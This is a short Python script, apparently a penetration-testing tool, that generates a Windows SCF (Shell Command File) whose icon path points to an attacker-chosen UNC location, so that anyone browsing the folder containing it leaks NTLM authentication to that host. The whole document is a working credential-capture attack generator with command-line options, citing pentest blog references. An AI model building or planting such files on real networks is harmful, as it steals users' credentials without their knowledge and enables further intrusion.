SMB/HTTP Auth Capture via SCF

scf.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# References:
# 1. https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/
# 2. https://room362.com/post/2016/smb-http-auth-capture-via-scf/

from argparse import ArgumentParser
from configparser import RawConfigParser


def write_scf(scf_path, icon_path, command):
    config = RawConfigParser()
    config.optionxform = str

    config.add_section('Shell')
    config.set('Shell', 'Command', '2')
    config.set('Shell', 'IconFile', icon_path)

    config.add_section('Taskbar')
    config.set('Taskbar', 'Command', command)

    with open(scf_path, 'w') as scf_hnd:
        config.write(scf_hnd)

if __name__ == '__main__':
    parser = ArgumentParser()

    parser.add_argument('-o', '--out', help='SCF output path.', required=True)
    parser.add_argument('-i', '--ico', help='UNC path for icon.', required=True)
    parser.add_argument('-c', '--cmd', help="'Explorer' or 'ToggleDesktop'.", default='Explorer')

    args = parser.parse_args()
    write_scf(args.out, args.ico, args.cmd)